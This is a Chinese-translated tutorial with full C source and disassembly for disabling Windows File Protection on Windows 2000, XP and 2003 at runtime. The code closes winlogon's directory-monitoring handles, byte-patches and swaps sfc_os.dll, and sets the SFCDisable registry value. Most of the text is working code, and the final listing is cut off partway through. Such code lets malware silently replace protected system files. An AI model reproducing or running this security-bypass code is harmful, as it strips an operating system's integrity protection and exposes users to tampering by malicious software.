文章作者:Ntoskrnl[Germony]
文章翻译:时间风
正文:
在这篇文章中,我将为你展示如何废掉WFP,再不需要重起到安全模式或者是恢复控制台的情况下。是的,你听说过。
我会向你演示如何改变系统文件并不会让系统注意到并且替换到原文件。如果你不知道WFP是什么,可以在google中
搜索到:整个英特网都充斥着这样的文章。总之我能够保证并没有关于这个主题的文章。
实际上,我过去并不想放出来这篇文章。主要因为我害怕它会帮助病毒和间谍软件也去这么做。当时,因为我写了相
关的代码并且马上给了某个人。改变我想法的是这个代码只会在你以管理员权限运行这个代码的时候才会起作用并且
这个程序以这个特权运行将会造成相当大的破坏。所以我认为这段代码不会造成很坏的影响。此外,系统文件保护如
果按照这个方法和用这个代码执行将会过时。所以我认为发布的时候到了。XP-SP2已经发布没有影响WFP,这样意味
着这段代码的公布不会给任何人造成损坏(去使用这段代码或是相同的技术)。顺便说一句,欺骗WFP并不是什么难
事,他只花费了我2个小时去完成了它。
首先,在我们编些什么之前,我们不得不来看看WFP是如何工作的。我不得不作这个去看看sfc_os.dll(sfc.dll如
果我们讨论的是Win2k)和Winlogon.exe(它是负责呼叫sfc.dll,当然了,去完成这个也是很简单的,亦仅仅需要
一个进程查看器)没有必要反汇编,我只是说Winlogon引用sfc.dll,当然了我那时指的是sfc_os.dll(绝大多数
sfc.dll出口是向前的。当然我们讨论的是XP)这个函数是依次启动WFP,继续进入到sfc_os.dll序数1。是什么执
行这个函数呢?我过去通读了代码,那时我发现这个呼叫重新得到WFP的注册值得选择权,后来我看到许多事件填充,
突然我明白了
代码如下:
复制内容到剪贴板
代码:
.text:76C2B9ED push ebp
.text:76C2B9EE mov ebp, esp
.text:76C2B9F0 push ebx
.text:76C2B9F1 push esi
.text:76C2B9F2 mov esi, [ebp+arg_0]
.text:76C2B9F5 mov eax, [esi+14h]
.text:76C2B9F8 xor ebx, ebx
.text:76C2B9FA cmp eax, ebx
.text:76C2B9FC jz short loc_76C2BA1B
.text:76C2B9FE cmp [eax+134h], ebx
.text:76C2BA04 jz short loc_76C2BA1B
.text:76C2BA06 mov eax, [eax+138h]
.text:76C2BA0C and al, 1
.text:76C2BA0E dec al
.text:76C2BA10 neg al
.text:76C2BA12 sbb al, al
.text:76C2BA14 inc al
.text:76C2BA16 mov byte ptr [ebp+arg_0], al
.text:76C2BA19 jmp short loc_76C2BA1E
.text:76C2BA1B
.text:76C2BA1B loc_76C2BA1B:
.text:76C2BA1B
.text:76C2BA1B mov byte ptr [ebp+arg_0], bl
.text:76C2BA1E
.text:76C2BA1E loc_76C2BA1E:
.text:76C2BA1E
.text:76C2BA1E push [ebp+arg_0]
.text:76C2BA21 lea eax, [esi+8]
.text:76C2BA24 push 0C5Bh
.text:76C2BA29 push 1000h
.text:76C2BA2E push dword ptr [esi+10h]
.text:76C2BA31 push eax
.text:76C2BA32 push ebx
.text:76C2BA33 push ebx
.text:76C2BA34 push dword ptr [esi+4]
.text:76C2BA37 push dword ptr [esi]
.text:76C2BA39 call ds:NtNotifyChangeDirectoryFile
.text:76C2BA3F cmp eax, ebx
.text:76C2BA41 jge short loc_76C2BA9A
.text:76C2BA43 cmp eax, 103h
.text:76C2BA48 jnz short loc_76C2BA76
.text:76C2BA4A push ebx
.text:76C2BA4B push 1
.text:76C2BA4D push dword ptr [esi+4]
.text:76C2BA50 call ds:NtWaitForSingleObject
.text:76C2BA56 cmp eax, ebx
.text:76C2BA58 jge short loc_76C2BA9A我意识到WFP被以用户模式执行,仅仅是前后对照(一个多么残疾的保护)也许你不熟悉NtNotifyChangeDirectoryFile
(NT确定改变目录文件)FindFirstChangeNotification(寻找首先改变的通告的本地函数)...让我们看看msdn文档:
"FindFirstChangeNotification函数创建一个改变通告句柄并且建立最初的改变通告过滤条件。一个等待通告句柄的成功
执行当一个改变发生和一个过滤条件相匹配的时候在特定的目录或者分支。然而,这个函数不需要改变满足这个等待条件。"
"这个等待函数能够监视特定目录或者子树通过使用FindFirstChangeNotification函数返回的句柄。一个等待满足这时候
一个过滤条件发生在监视目录或者子树
在这个等候已经被满足之后,应用程序能够回应给条件并且继续监视目录通过呼叫FindNextChangeNotification函数和合适的等待函数"当句柄不在需要的时候,她能够使用FindCloseChangeNotification函数关闭。"
这个意味着什么呢?Winlogon的进程(通过sfc)监视每一个包含受保护文件的目录,实际上如果你用一个目标查看器调查进程(比如说基于sysinternals),你会看到一个句柄对于每一个受保护的目录。意味着我们只要关闭这些句柄用FindCloseChangeNotification或者CloseHandle去停止WFP监视系统目录。
好了,这里就是了:我们不能使WFP丧失能力从用户模式代码...cool,不是吗?不完全,事实上:如果这个工作不是那样简单会更好一些,我是说系统安全。
让我们开始编写:这个函数的句法,我是这样写的:
复制内容到剪贴板
代码:
void main()
{
if (FuckWFPInTheAss() == TRUE)
{
// ok
}
else
{
// wrong
}
}我认为非常简单的呼叫,让我们看看函数,首先我检查了我们运行的操作系统:
复制内容到剪贴板
代码:
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if (!GetVersionEx((OSVERSIONINFO *) &osvi))
{
osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (!GetVersionEx ((OSVERSIONINFO *) &osvi))
return FALSE;
}
if (osvi.dwPlatformId != VER_PLATFORM_WIN32_NT ||
osvi.dwMajorVersion <= 4)
return FALSE;如果我运行的不是NT的系统或者是基于4.0那时会返回失败(WTP被执行在Win2K以上)。然后我们需要一些函数他的地址是通过GetProcAddress得到:
复制内容到剪贴板
代码:
// ntdll functions
pNtQuerySystemInformation = (NTSTATUS (NTAPI *)(
SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG))
GetProcAddress(hNtDll, "NtQuerySystemInformation");
pNtQueryObject = (NTSTATUS (NTAPI *)(HANDLE,
OBJECT_INFORMATION_CLASS, PVOID, ULONG, PULONG))
GetProcAddress(hNtDll, "NtQueryObject");
// psapi functions
pEnumProcesses = (BOOL (WINAPI *)(DWORD *, DWORD, DWORD *))
GetProcAddress(hPsApi, "EnumProcesses");
pEnumProcessModules = (BOOL (WINAPI *)(HANDLE, HMODULE *,
DWORD, LPDWORD)) GetProcAddress(hPsApi, "EnumProcessModules");
pGetModuleFileNameExW = (DWORD (WINAPI *)(HANDLE, HMODULE,
LPWSTR, DWORD)) GetProcAddress(hPsApi, "GetModuleFileNameExW");
if (pNtQuerySystemInformation == NULL ||
pNtQueryObject == NULL ||
pEnumProcesses == NULL ||
pEnumProcessModules == NULL ||
pGetModuleFileNameExW == NULL)
return FALSE;一会我们看到为什么我需要这些函数。下一步是得到"SeDebugPrivileges" 调整标记权限(我们可以这么做只有我们以管理员权限运行应用进程)
复制内容到剪贴板
代码:
if (SetPrivileges() == FALSE)
return FALSE;这里是这个函数:
复制内容到剪贴板
代码:
BOOL SetPrivileges(VOID)
{
HANDLE hProc;
LUID luid;
TOKEN_PRIVILEGES tp;
HANDLE hToken;
TOKEN_PRIVILEGES oldtp;
DWORD dwSize;
hProc = GetCurrentProcess();
if (!OpenProcessToken(hProc, TOKEN_QUERY |
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
CloseHandle (hToken);
return FALSE;
}
ZeroMemory (&tp, sizeof (tp));
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
&oldtp, &dwSize))
{
CloseHandle(hToken);
return FALSE;
}
return TRUE;
}然后我必须取得Winlogon的进程ID,所以我们必须浏览所有进程找到Winlogon:
复制内容到剪贴板
代码:
// search winlogon
dwSize2 = 256 * sizeof(DWORD);
do
{
if (lpdwPIDs)
{
HeapFree(GetProcessHeap(), 0, lpdwPIDs);
dwSize2 *= 2;
}
lpdwPIDs = (LPDWORD) HeapAlloc(GetProcessHeap(), 0, dwSize2);
if (lpdwPIDs == NULL)
return FALSE;
if (!pEnumProcesses(lpdwPIDs, dwSize2, &dwSize))
return FALSE;
} while (dwSize == dwSize2);
dwSize /= sizeof(DWORD);
for (dwIndex = 0; dwIndex < dwSize; dwIndex++)
{
Buffer[0] = 0;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ, FALSE, lpdwPIDs[dwIndex]);
if (hProcess != NULL)
{
if (pEnumProcessModules(hProcess, &hMod,
sizeof(hMod), &dwSize2))
{
if (!pGetModuleFileNameExW(hProcess, hMod,
Buffer, sizeof(Buffer)))
{
CloseHandle(hProcess);
continue;
}
}
else
{
CloseHandle(hProcess);
continue;
}
if (Buffer[0] != 0)
{
GetFileName(Buffer);
if (CompareStringW(0, NORM_IGNORECASE,
Buffer, -1, WinLogon, -1) == CSTR_EQUAL)
{
// winlogon process found
WinLogonId = lpdwPIDs[dwIndex];
CloseHandle(hProcess);
break;
}
dwLIndex++;
}
CloseHandle(hProcess);
}
}
if (lpdwPIDs)
HeapFree(GetProcessHeap(), 0, lpdwPIDs);现在我们有了进程ID,我们能够打开这个进程:
复制内容到剪贴板
代码:
hWinLogon = OpenProcess(PROCESS_DUP_HANDLE, 0, WinLogonId);
if (hWinLogon == NULL)
{
return FALSE;
}为什么我用PROCESS_DUP_HANDLE?那是什么呢?我们需要这个标记使用函数复制句柄(ZwDuplicateObject如果它听起来你很熟悉),我们会一会看到我们需要这个函数做什么。现在:
复制内容到剪贴板
代码:
nt = pNtQuerySystemInformation(SystemHandleInformation, NULL, 0, &uSize);
while (nt == STATUS_INFO_LENGTH_MISMATCH)
{
uSize += 0x1000;
if (pSystemHandleInfo)
VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
pSystemHandleInfo = (PSYSTEMHANDLEINFO) VirtualAlloc(NULL, uSize,
MEM_COMMIT, PAGE_READWRITE);
if (pSystemHandleInfo == NULL)
{
CloseHandle(hWinLogon);
return FALSE;
}
nt = pNtQuerySystemInformation(SystemHandleInformation,
pSystemHandleInfo, uSize, &uBuff);
}
if (nt != STATUS_SUCCESS)
{
VirtualFree(pSystemHandleInfo, 0, MEM_RELEASE);
CloseHandle(hWinLogon);
return FALSE;
}这段代码重新获得所有的系统范围打开句柄,包括那些Winlogon进程。让我们看看下面的步骤:
1)浏览所有打开的句柄检查那些属于Winlogon的
2)复制每一个Winlogon句柄到我们的进程用DuplicateHandle,一会它会给我们权限去请求句柄/目标 名字用NtQueryObject。
3)如果这个目标名称是那些我们想要阻止监视目录中的一个,我们需要再次呼叫DuplicateHandle用DUPLICATE_CLOSE_SOURCE标记然后呼叫CloseHandle关闭damn句柄。
前两点不需要太多解释,但是第三点不得不在使之更加清晰一些,我们不得不关闭关闭这些句柄就是每一个系统目录我们想要更改文件进去的。而且,禁止WFP,我们不得不至少禁止System32目录的监视。这个目录的目标名称是例如:Harddisk00\\Windows\\System32;因为我懒得去转换harddiskxx成为我们常用的比如C,我写了情形-忽略函数向后比较字符串:
复制内容到剪贴板
代码:
BOOL CompareStringBackwards(WCHAR *Str1, WCHAR *Str2)
{
INT Len1 = wcslen(Str1), Len2 = wcslen(Str2);
if (Len2 > Len1)
return FALSE;
for (Len2--, Len1--; Len2 >= 0; Len2--, Len1--)
{
if (Str1[Len1] != Str2[Len2])
return FALSE;
}
return TRUE;
}所以应该知道如果当前的句柄是目录我们要找的去写入的:
复制内容到剪贴板
代码:
if (CompareStringBackwards(ObjName.Buffer, L"WINDOWS\\SYSTEM32")
And let's not forget that Win2k uses WINNT as windows directory, so we have to check both strings:
if (CompareStringBackwards(ObjName.Buffer, L"WINDOWS\\SYSTEM32") ||
CompareStringBackwards(ObjName.Buffer, L"WINNT\\SYSTEM32"))
if one of these string matches, we'll close the handle:
CloseHandle(hCopy); // old DuplicateHandle handle
DuplicateHandle (hWinLogon,
(HANDLE) pSystemHandleInfo->HandleInfo[i].HandleValue,
GetCurrentProcess(), &hCopy, 0, FALSE,
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS);
CloseHandle(hCopy);现在我们禁止了对System32目录的监视,然后呢?对,真正禁止WFP,我们必须patch sfc.dll (Win2k) or sfc_os.dll (XP and later). 如果你熟悉禁止WFP,你知道我正在谈论什么:在Win2k(sp1之前)为了禁止WFP(在下一个启动后)你必须修改注册表对于magic value (0xFFFFFF9D),因为sfc.dll就扼守他作为一个禁止WFP的选项,但是从Win2k SP1开始,事情就有一点复杂了,因为这个值不会移动,但是不再被sfc.dll接受,实际上这个dll突然这样运作了(这个是 Win2k SP2 sfc.dll):
复制内容到剪贴板
代码:
.text:76956C07 mov eax, dword_769601D4
.text:76956C0C cmp eax, 0FFFFFF9Dh
.text:76956C0F jnz short loc_76956C18
.text:76956C11 mov eax, esi ; overwrite eax
.text:76956C13 mov dword_769601D4, eax正如你所看到的,如果这个值是0xFFFFFF9D,它会被覆盖,所以我们补丁指令"mov eax, esi",这样这个值才会有价值。
正常方法是禁止WFP是以安全模式启动或者是恢复控制台,用原来的dll替换这个补丁后的dll然后重启;但是我们要做这些更好一些,我们使用一点窍门来替换dll,因为不可能删除loaded library (被Winlogon加载) ,我们只是重命名用MoveFile并且替换打过补丁的文件用原来的文件,当然WFP不会反映的,我们已经禁止了System32的保护,仍然有一个问题:有许多版本的sfc.dll 和 sfc_os.dll,所以我们需要知道这个精确偏移量每一个版本在哪里补丁了,当然不是!我简单的制作了一个聪明的补丁浏览这段代码寻找一些特殊的字节我总是找寻分析一些版本的dll:这时dlls我看到的:
1 - Win2k SP2 sfc.dll
复制内容到剪贴板
代码:
.text:76956C07 A1 D4 01 96 76 mov eax, dword_769601D4
.text:76956C0C 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76956C0F 75 07 jnz short loc_76956C18
.text:76956C11 8B C6 mov eax, esi
.text:76956C13 A3 D4 01 96 76 mov dword_769601D4, eax
.text:76956C18
.text:76956C18 loc_76956C18:
.text:76956C18 3B C3 cmp eax, ebx
.text:76956C1A 74 3E jz short loc_76956C5A
.text:76956C1C 3B C6 cmp eax, esi
.text:76956C1E 0F 84 97 01 00+ jz loc_76956DBB
.text:76956C24 83 F8 02 cmp eax, 2
.text:76956C27 0F 84 7D 01 00+ jz loc_76956DAA
.text:76956C2D 83 F8 03 cmp eax, 3
.text:76956C30 0F 84 E8 00 00+ jz loc_76956D1E
.text:76956C36 83 F8 04 cmp eax, 4
.text:76956C39 0F 84 CE 00 00+ jz loc_76956D0D
.text:76956C3F 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76956C42 53 push ebx
.text:76956C43 0F 84 82 01 00+ jz loc_76956DCB2 - WinXP Home Edition sfc_os.dll
复制内容到剪贴板
代码:
.text:76C2EFB1 A1 58 D1 C3 76 mov eax, dword_76C3D158
.text:76C2EFB6 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76C2EFB9 75 07 jnz short loc_76C2EFC2
.text:76C2EFBB 8B C6 mov eax, esi
.text:76C2EFBD A3 58 D1 C3 76 mov dword_76C3D158, eax
.text:76C2EFC2
.text:76C2EFC2 loc_76C2EFC2:
.text:76C2EFC2 3B C7 cmp eax, edi
.text:76C2EFC4 74 56 jz short loc_76C2F01C
.text:76C2EFC6 3B C6 cmp eax, esi
.text:76C2EFC8 0F 84 1A 01 00+ jz loc_76C2F0E8
.text:76C2EFCE 83 F8 02 cmp eax, 2
.text:76C2EFD1 0F 84 FC 00 00+ jz loc_76C2F0D3
.text:76C2EFD7 83 F8 03 cmp eax, 3
.text:76C2EFDA 74 7D jz short loc_76C2F059
.text:76C2EFDC 83 F8 04 cmp eax, 4
.text:76C2EFDF 74 2F jz short loc_76C2F010
.text:76C2EFE1 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76C2EFE4 0F 84 0D 01 00+ jz loc_76C2F0F73 - WinXP Professional Edition sfc_os.dll
复制内容到剪贴板
代码:
.text:76C2EEAE A1 58 D1 C3 76 mov eax, dword_76C3D158
.text:76C2EEB3 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76C2EEB6 75 07 jnz short loc_76C2EEBF
.text:76C2EEB8 8B C6 mov eax, esi
.text:76C2EEBA A3 58 D1 C3 76 mov dword_76C3D158, eax
.text:76C2EEBF
.text:76C2EEBF loc_76C2EEBF:
.text:76C2EEBF 3B C7 cmp eax, edi
.text:76C2EEC1 74 56 jz short loc_76C2EF19
.text:76C2EEC3 3B C6 cmp eax, esi
.text:76C2EEC5 0F 84 1A 01 00+ jz loc_76C2EFE5
.text:76C2EECB 83 F8 02 cmp eax, 2
.text:76C2EECE 0F 84 FC 00 00+ jz loc_76C2EFD0
.text:76C2EED4 83 F8 03 cmp eax, 3
.text:76C2EED7 74 7D jz short loc_76C2EF56
.text:76C2EED9 83 F8 04 cmp eax, 4
.text:76C2EEDC 74 2F jz short loc_76C2EF0D
.text:76C2EEDE 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76C2EEE1 0F 84 0D 01 00+ jz loc_76C2EFF44 - Win2k3 sfc_os.dll
复制内容到剪贴板
代码:
.text:76BEF65E A1 78 E1 BF 76 mov eax, dword_76BFE178
.text:76BEF663 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76BEF666 75 07 jnz short loc_76BEF66F
.text:76BEF668 8B C6 mov eax, esi
.text:76BEF66A A3 78 E1 BF 76 mov dword_76BFE178, eax
.text:76BEF66F
.text:76BEF66F loc_76BEF66F: ; CODE XREF: sfc_os_1+4C8j
.text:76BEF66F 3B C7 cmp eax, edi
.text:76BEF671 74 56 jz short loc_76BEF6C9
.text:76BEF673 3B C6 cmp eax, esi
.text:76BEF675 0F 84 1A 01 00+ jz loc_76BEF795
.text:76BEF67B 83 F8 02 cmp eax, 2
.text:76BEF67E 0F 84 FC 00 00+ jz loc_76BEF780
.text:76BEF684 83 F8 03 cmp eax, 3
.text:76BEF687 74 7D jz short loc_76BEF706
.text:76BEF689 83 F8 04 cmp eax, 4
.text:76BEF68C 74 2F jz short loc_76BEF6BD
.text:76BEF68E 83 F8 9D cmp eax, 0FFFFFF9Dh
.text:76BEF691 0F 84 0D 01 00+ jz loc_76BEF7A4这里是我从那些dll中挑出来的字节结果:
复制内容到剪贴板
代码:
if (pCode[dwCount] == 0x8B && pCode[dwCount + 1] == 0xC6 &&
pCode[dwCount + 2] == 0xA3 && pCode[dwCount + 7] == 0x3B &&
pCode[dwCount + 9] == 0x74 && pCode[dwCount + 11] == 0x3B)这是补丁过的代码:
复制内容到剪贴板
代码:
GetSystemDirectoryW(Buffer, sizeof (WCHAR) * MAX_PATH);
GetSystemDirectoryW(Buffer2, sizeof (WCHAR) * MAX_PATH);
wsprintfW(Buffer2, L"%s\\trash%X", Buffer2, GetTickCount());
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0) // win2k
{
wcscat(Buffer, L"\\sfc.dll");
}
else // winxp, win2k3
{
wcscat(Buffer, L"\\sfc_os.dll");
}
hFile = createFileW(Buffer, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
dwFileSize = GetFileSize(hFile, NULL);
pSfc = (BYTE *) VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE);
if (!pSfc)
{
CloseHandle(hFile);
return FALSE;
}
if (!ReadFile(hFile, pSfc, dwFileSize, &BRW, NULL))
{
CloseHandle(hFile);
VirtualFree(pSfc, 0, MEM_RELEASE);
return FALSE;
}
CloseHandle(hFile);
ImgDosHeader = (PIMAGE_DOS_HEADER) pSfc;
ImgNtHeaders = (PIMAGE_NT_HEADERS)
(ImgDosHeader->e_lfanew + (ULONG_PTR) pSfc);
ImgSectionHeader = IMAGE_FIRST_SECTION(ImgNtHeaders);
// code section
pCode = (BYTE *) (ImgSectionHeader->PointerToRawData + (ULONG_PTR) pSfc);
// i gotta find the bytes to patch
for (dwCount = 0; dwCount < (ImgSectionHeader->SizeOfRawData - 10); dwCount++)
{
if (pCode[dwCount] == 0x8B && pCode[dwCount + 1] == 0xC6 &&
pCode[dwCount + 2] == 0xA3 && pCode[dwCount + 7] == 0x3B &&
pCode[dwCount + 9] == 0x74 && pCode[dwCount + 11] == 0x3B)
{
bFound = TRUE;
break;
}
}
if (bFound == FALSE)
{
// cannot patch
// maybe w2k without sp1
goto no_need_to_patch;
}
// patch
pCode[dwCount] = pCode[dwCount + 1] = 0x90;
// move dll to another place
MoveFileW(Buffer, Buffer2);
// create new dll
hFile = createFileW(Buffer, GENERIC_WRITE, FILE_SHARE_READ,
NULL, create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
// cannot patch
VirtualFree(pSfc, 0, MEM_RELEASE);
return FALSE;
}
WriteFile(hFile, pSfc, dwFileSize, &BRW, NULL);
CloseHandle(hFile);
no_need_to_patch:
VirtualFree(pSfc, 0, MEM_RELEASE);
现在我们必须写入magic value设置注册SFCScan值为0(事实上它应该已经是了,但是只是确定一下)
Ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",
0, KEY_SET_VALUE, &Key);
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
BRW = 0xFFFFFF9D;
Ret = RegSetValueExW(Key, L"SFCDisable", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
BRW = 0;
Ret = RegSetValueExW(Key, L"SFCScan", 0, REG_DWORD, (PBYTE) &BRW, sizeof (BRW));
if (Ret != ERROR_SUCCESS)
{
return FALSE;
}
RegCloseKey(Key);
好了,现在已经完成了!WFP已经被干掉了,这里是整个文章中的代码 (VC++ 60)
// fuck_wfp.c ----------------------------------------------------------
#include <windows.h>
#include <stdio.h>
#ifndef UNICODE_STRING
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef UNICODE_STRING *PUNICODE_STRING;
#endif
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
#ifndef SYSTEM_INFORMATION_CLASS
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation, // 0
SystemProcessorInformation, // 1
SystemPerformanceInformation, // 2
SystemTimeOfDayInformation, // 3
SystemNotImplemented1, // 4
SystemProcessesAndThreadsInformation, // 5
SystemCallCounts, // 6
SystemConfigurationInformation, // 7
SystemProcessorTimes, // 8
SystemGlobalFlag, // 9
SystemNotImplemented2, // 10
SystemModuleInformation, // 11
SystemLockInformation, // 12
SystemNotImplemented3, // 13
SystemNotImplemented4, // 14
SystemNotImplemented5, // 15
SystemHandleInformation, // 16
SystemObjectInformation, // 17
SystemPagefileInformation, // 18
SystemInstructionEmulationCounts, // 19
SystemInvalidInfoClass1, // 20
SystemCacheInformation, // 21
SystemPoolTagInformation, // 22
SystemProcessorStatistics, // 23
SystemDpcInformation, // 24
SystemNotImplemented6, // 25
SystemLoadImage, // 26
SystemUnloadImage, // 27
SystemTimeAdjustment, // 28
SystemNotImplemented7, // 29
SystemNotImplemented8, // 30
SystemNotImplemented9, // 31
SystemCrashDumpInformation, // 32
SystemExceptionInformation, // 33
SystemCrashDumpStateInformation, // 34
SystemKernelDebuggerInformation, // 35
SystemContextSwitchInformation, // 36
SystemRegistryQuotaInformation, // 37
SystemLoadAndCallImage, // 38
SystemPrioritySeparation, // 39
SystemNotImplemented10, // 40
SystemNotImplemented11, // 41
SystemInvalidInfoClass2, // 42
SystemInvalidInfoClass3, // 43
SystemTimeZoneInformation, // 44
SystemLookasideInformation, // 45
SystemSetTimeSlipEvent, // 46
SystemcreateSession, // 47
SystemdeleteSession, // 48
SystemInvalidInfoClass4, // 49
SystemRangeStartInformation, // 50
SystemVerifierInformation, // 51
SystemAddVerifier, // 52
SystemSessionProcessesInformation // 53
} SYSTEM_INFORMATION_CLASS;
#endif
#ifndef HANDLEINFO
typedef struct HandleInfo{
ULONG Pid;
USHORT ObjectType;
USHORT HandleValue;
PVOID ObjectPointer;
ULONG AccessMask;
} HANDLEINFO, *PHANDLEINFO;
#endif
#ifndef SYSTEMHANDLEINFO
typedef struct SystemHandleInfo {
ULONG nHandleEntries;
HANDLEINFO HandleInfo[1];
} SYSTEMHANDLEINFO, *PSYSTEMHANDLEINFO;
#endif
NTSTATUS (NTAPI *pNtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
#ifndef STATUS_INFO_LENGTH_MISMATCH
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#endif
#ifndef OBJECT_INFORMATION_CLASS
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation,
ObjectAllTypesInformation,
ObjectHandleInformation
} OBJECT_INFORMATION_CLASS;
#endif
#ifndef OBJECT_NAME_INFORMATION
typedef struct _OBJECT_NAME_INFORMATION
{
UNICODE_STRING ObjectName;
} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION;
#endif
#ifndef OBJECT_BASIC_INFORMATION
typedef struct _OBJECT_BASIC_INFORMATION
{
ULONG Unknown1;
ACCESS_MASK DesiredAccess;
ULONG HandleCount;
ULONG ReferenceCount;
ULONG PagedPoolQuota;
ULONG NonPagedPoolQuota;
BYTE Unknown2[32];
} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION;
#endif
NTSTATUS (NTAPI *pNtQueryObject)(IN HANDLE ObjectHandle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT PULONG ReturnLength OPTIONAL);
BOOL (WINAPI *pEnumProcesses)(DWORD *lpidProcess, DWORD cb, DWORD *cbNeeded);
BOOL (WINAPI *pEnumProcessModules)(HANDLE hProcess,
HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded);
DWORD (WINAPI *pGetModuleFileNameExW)(HANDLE hProcess, HMODULE hModule,
LPWSTR lpFilename, DWORD nSize);
VOID GetFileName(WCHAR *Name)
{
WCHAR *path, *New, *ptr;
path = (PWCHAR) malloc((MAX_PATH + 1) * sizeof (WCHAR));
New = (PWCHAR) malloc((MAX_PATH + 1) * sizeof (WCHAR));
wcsncpy(path, Name, MAX_PATH);
if(wcsncmp(path, L"\\SystemRoot", 11) == 0)
{
ptr = &path[11];
GetWindowsDirectoryW(New, MAX_PATH * sizeof (WCHAR));
wcscat(New, ptr);
wcscpy(Name, New);
}
else if(wcsncmp(path, L"\\??\\", 4) == 0)
{
ptr = &path[4];
wcscpy(New, ptr);
wcscpy(Name, New);
}
free(path);
free(New);
}
BOOL SetPrivileges(VOID)
{
HANDLE hProc;
LUID luid;
TOKEN_PRIVILEGES tp;
HANDLE hToken;
TOKEN_PRIVILEGES oldtp;
DWORD dwSize;
hProc = GetCurrentProcess();
if (!OpenProcessToken(hProc, TOKEN_QUERY |
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
CloseHandle (hToken);
return FALSE;
}
ZeroMemory (&tp, sizeof (tp));
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES),
&oldtp, &dwSize))
{
CloseHandle(hToken);
return FALSE;
}
return TRUE;
}
BOOL CompareStringBackwards(WCHAR *Str1, WCHAR *Str2)
{
INT Len1 = wcslen(Str1), Len2 = wcslen(Str2);
if (Len2 > Len1)
return FALSE;
for (Len2--, Len1--; Len2 >= 0; Len2--, Len1--)
{
if (Str1[Len1] != Str2[Len2])
return FALSE;
}
return TRUE;
}
BOOL FuckWFPInTheAss(VOID)
{
HINSTANCE hNtDll, hPsApi;
PSYSTEMHANDLEINFO pSystemHandleInfo = NULL;
ULONG uSize = 0x1000, i, uBuff;
NTSTATUS nt;
// psapi variables
LPDWORD lpdwPIDs = NULL;
DWORD WinLogonId;
DWORD dwSize;
DWORD dwSize2;
DWORD dwIndex;
HMODULE hMod;
HANDLE hProcess, hWinLogon;
DWORD dwLIndex = 0;
WCHAR Buffer[MAX_PATH + 1];
WCHAR Buffer2[MAX_PATH + 1];
WCHAR WinLogon[MAX_PATH + 1];
HANDLE hCopy;
// OBJECT_BASIC_INFORMATION ObjInfo; // inutilizzato
struct { UNICODE_STRING Name; WCHAR Buffer[MAX_PATH + 1]; } ObjName;
OSVERSIONINFOEX osvi;
HANDLE hFile;
DWORD dwFileSize, BRW = 0, dwCount;
BYTE *pSfc, *pCode;
BOOL bFound = FALSE;
PIMAGE_DOS_HEADER ImgDosHeader;
PIMAGE_NT_HEADERS ImgNtHeaders;
PIMAGE_SECTION_HEADER ImgSectionHeader;
HKEY Key;
LONG Ret;
ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
if (!GetVersionEx((OSVERSIONINFO *) &osvi))
{
osvi.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
if (!GetVersionEx ((OSVERSIONINFO *) &osvi))
return FALSE;
}
if (osvi.dwPlatformId != VER_PLATFORM_WIN32_NT ||
osvi.dwMajorVersion <= 4)
return FALSE;
hNtDll = LoadLibrary("ntdll.dll");
hPsApi = LoadLibrary("psapi.dll");
